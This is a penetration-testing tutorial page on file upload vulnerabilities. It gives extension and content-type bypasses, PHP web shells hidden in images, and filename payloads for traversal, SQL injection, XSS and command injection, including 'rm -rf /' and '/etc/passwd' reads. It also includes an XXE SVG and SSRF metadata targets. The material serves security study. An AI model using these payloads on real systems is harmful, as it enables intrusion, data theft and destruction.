🕵️
VeryLazyTech
📜 Medium🛒 My Shop👾 Github📩 Telegram 📺 YouTube✖ Twitter
  • 🕵️Welcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • 👾 GitHub
      • 📜 Medium
      • ☕ My Shop
      • 📺 YouTube
      • ✖ Twitter
      • 📩 Telegram
  • 🛡️ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POC - CVE-2025–2539 File Away <= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • 🕵️‍♂️Dorks
    • GitHub Dorks
    • Google Dork Online Tool
  • 📚 Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • 🕸️Pentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • 🪟Windows
    • Active Directory Methodology
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows and Linux
  • 🧑‍🔧Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • Basic info
  • Bypass file extensions checks
  • Workflow
  • Bypass Content-Type, Magic Number, Compression & Resizing
  • 1. Bypassing Content-Type Checks
  • 2. Bypassing Magic Number Checks
  • 3. Bypassing Compression & Resizing Mechanisms
  • 4. Other File Upload Tricks to Check
  • From File Upload to Other Vulnerabilities

Was this helpful?

File upload vulnerabilities

PreviousLDAP InjectionNextContent Security Policy (CSP) bypass

Last updated 2 months ago

Was this helpful?

  • Become VeryLazyTech ! 🎁

  • Follow us on:

    • ✖ Twitter .

    • 👾 Github .

    • 📜 Medium .

    • 📺 YouTube .

    • 📩 Telegram .

    • 🕵️‍♂️ My Site .

  • Visit our for e-books and courses. 📚

Basic info

File upload vulnerabilities occur when a server allows users to upload files without proper validation, potentially letting attackers upload malicious content. This can lead to severe issues like remote code execution, where attackers run commands on the server, or denial of service by consuming resources.

Bypass file extensions checks

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

    • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

Workflow

  1. If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr

  2. Check adding a valid extension before the execution extension (use previous extensions also):

    • file.png.php

    • file.png.Php5

  3. Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)

    • file.php%20

    • file.php%0a

    • file.php%00

    • file.php%0d%0a

    • file.php/

    • file.php.\

    • file.

    • file.php....

    • file.pHp5....

  4. Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.

    • file.png.php

    • file.png.pHp5

    • file.php#.png

    • file.php%00.png

    • file.php\x00.png

    • file.php%0a.png

    • file.php%0d%0a.png

    • file.phpJunk123png

  5. Add another layer of extensions to the previous check:

    • file.png.jpg.php

    • file.php%00.png%00.jpg

  6. Try to put the exec extension before the valid extension and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):

    • ex: file.php.png

  7. Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)

  8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php

    # Linux maximum 255 bytes
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
    # Upload the file and check response how many characters it alllows. Let's say 236
    python -c 'print "A" * 232'
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    # Make the payload
    AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

1. Bypassing Content-Type Checks

Web applications often validate file uploads by checking the Content-Type header to ensure only specific file formats are allowed. However, this check is easily bypassed by modifying the Content-Type value in the request.

How to bypass Content-Type checks:

Simply set the Content-Type header to a commonly accepted value:

httpCopyEditContent-Type: image/png  
Content-Type: text/plain  
Content-Type: application/octet-stream  

Why does this work?

Many applications rely on the Content-Type header to determine if an uploaded file is valid. However, this header is controlled by the client (browser or attacker), so it can be easily manipulated to fool the server into accepting unauthorized file types.

2. Bypassing Magic Number Checks

Some applications inspect the file's Magic Number (the first few bytes of a file) to verify its actual type, regardless of the file extension. Attackers can bypass this by appending the correct Magic Number at the beginning of a malicious file.

How to bypass Magic Number checks:

Method 1: Prepending a valid Magic Number

You can insert the Magic Number of a valid image at the beginning of a malicious file to trick the server into accepting it as an image:

echo -ne "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" > fake.png  
cat shell.php >> fake.png  

Explanation:

  • \x89\x50\x4E\x47\x0D\x0A\x1A\x0A → This is the Magic Number for a PNG file.

  • cat shell.php >> fake.png → Appends a PHP shell to the image file.

Method 2: Embedding a backdoor inside metadata

Another approach is to hide a PHP shell inside the metadata of an image:

exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg  

Explanation:

  • The PHP shell is stored in the image’s metadata, making it harder to detect.

  • The __halt_compiler(); function stops PHP from interpreting the rest of the image file, ensuring only the backdoor code executes.

Method 3: Directly injecting payload into an image

Alternatively, you can append a PHP payload directly inside an image file:

echo '<?php system($_REQUEST["cmd"]); ?>' >> img.png  

Explanation:

  • The system($_REQUEST["cmd"]); command executes any system command sent via HTTP request.

  • The image remains valid, but when executed as a .php file, it runs the attacker's commands.

3. Bypassing Compression & Resizing Mechanisms

Many web applications use image compression and resizing (e.g., via PHP-GD) to process uploaded images. These transformations can strip malicious code, rendering previous techniques ineffective. However, there are ways to bypass these modifications:

Techniques to evade compression & resizing:

1) PLTE chunk technique

  • This method leverages the PLTE chunk in PNG files, which remains intact after compression.

  • Code can be hidden within this chunk and extracted later.

2) IDAT chunk technique

  • This technique embeds a payload inside the IDAT chunk of a PNG file, ensuring that the payload survives image resizing.

3) tEXt chunk technique

  • Some libraries, like thumbnailImage(), retain the tEXt chunk in PNG files.

  • Attackers can inject malicious code into this chunk and retrieve it later for execution.

4. Other File Upload Tricks to Check

In addition to bypassing validation mechanisms, attackers often exploit misconfigurations and system behaviors to escalate attacks. Here are some additional tricks to consider:

4.1 Finding a way to rename the uploaded file

  • Some applications allow renaming an uploaded file, enabling attackers to change its extension to .php and execute it.

4.2 Finding a Local File Inclusion (LFI) vulnerability

  • If an LFI vulnerability exists, an attacker can include their uploaded backdoor for execution:

include("/uploads/shell.php");

4.3 Exploiting filename-based vulnerabilities

Uploading a file multiple times with the same name

  • This can lead to race conditions or unintended file overwrites.

Uploading files with directory traversal characters

  • Examples:

    • . → May overwrite existing files.

    • .. → Could move files up a directory.

    • … → Can cause unexpected behaviors.

Uploading files with special characters (Windows NTFS tricks)

  • Some filenames are restricted in Windows but may still be created by tricking the system:

    • …:.jpg → Creates a file that cannot be deleted easily.

    • CON.jpg, PRN.txt, NUL.exe → Reserved filenames that may cause unexpected behavior.

Uploading executable files for social engineering

  • Uploading .exe or .html files disguised as images could trick users into executing malicious code when opened.


From File Upload to Other Vulnerabilities

1. Path Traversal via File Upload

Set filename to ../../../tmp/lol.png

How it Works:

  • Path traversal (../) allows an attacker to navigate outside of the intended upload directory.

  • If a web application doesn’t properly sanitize file paths, an attacker can overwrite sensitive files or place files in unexpected locations.

  • Example payloads:

    ../../../etc/passwd
    ../../../var/www/html/shell.php

2. SQL Injection via File Upload

Set filename to sleep(10)-- -.jpg

How it Works:

  • Some web apps store filenames in a database.

  • If filenames are not properly escaped, SQL Injection may occur.

  • Example payloads:

    ' OR 1=1; --
    sleep(10)--.jpg
    ' UNION SELECT null, username, password FROM users; -- .png

3. XSS via File Upload (Filename-Based XSS)

Set filename to <svg onload=alert(document.domain)>

How it Works:

  • If an application renders filenames inside HTML without proper escaping, an attacker can execute JavaScript.

  • The injected filename triggers an XSS attack when viewed in the browser.


Set filename to ; sleep 10;

How it Works:

  • If an application processes filenames in shell commands, an attacker can inject OS commands.

  • Example payloads:

    ; rm -rf / ;.jpg
    && whoami &&
    | cat /etc/passwd |

5. XSS in Image Upload (SVG File Exploitation)

Upload an SVG file containing JavaScript

How it Works:

  • SVG files are XML-based and can contain embedded JavaScript.

  • If the server allows SVG uploads and serves them without proper security headers, attackers can execute JavaScript in the victim’s browser.


6. JS File Upload + XSS = Service Workers Exploitation

Upload a JavaScript file and register a malicious Service Worker

How it Works:

  • If an attacker can upload a .js file, they can register a Service Worker in the victim’s browser:

    navigator.serviceWorker.register('/uploads/malicious.js');

7. XXE Attack via SVG Upload

Upload an SVG file containing a malicious XML entity

How it Works:

  • If the application parses XML without proper security settings, attackers can perform XXE attacks to read system files.

Example Payload (SVG with XXE):

<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>
    <text>&xxe;</text>
</svg>

8. SSRF via Image URL Fetching

If the server allows fetching images from external URLs, use it for SSRF.

How it Works:

  • If the web app allows uploading images via URL (fetch(https://evil.com/image.png)), attackers can request internal resources like:

    http://localhost/admin
    http://169.254.169.254/latest/meta-data/

9. XXE and CORS Bypass with PDF Uploads

Uploading a specially crafted PDF to exploit XXE or CORS misconfigurations.

How it Works:

  • Malicious PDFs can execute JavaScript or leak data via CORS requests.


10. Uploading the EICAR File to Test Antivirus Detection

How it Works:

  • The EICAR file is a harmless string that triggers antivirus alerts.

  • Uploading this file helps test if the server has malware protection.


Support VeryLazyTech 🎉
  • Follow us on:

Uploading the

Learn & practice

Become VeryLazyTech ! 🎁

✖ Twitter .

👾 Github .

📜 Medium .

📺 YouTube .

📩 Telegram .

🕵️‍♂️ My Site .

Visit our for e-books and courses. 📚

member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop
Command Injection via File Upload
EICAR test file
For the OSCP.
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop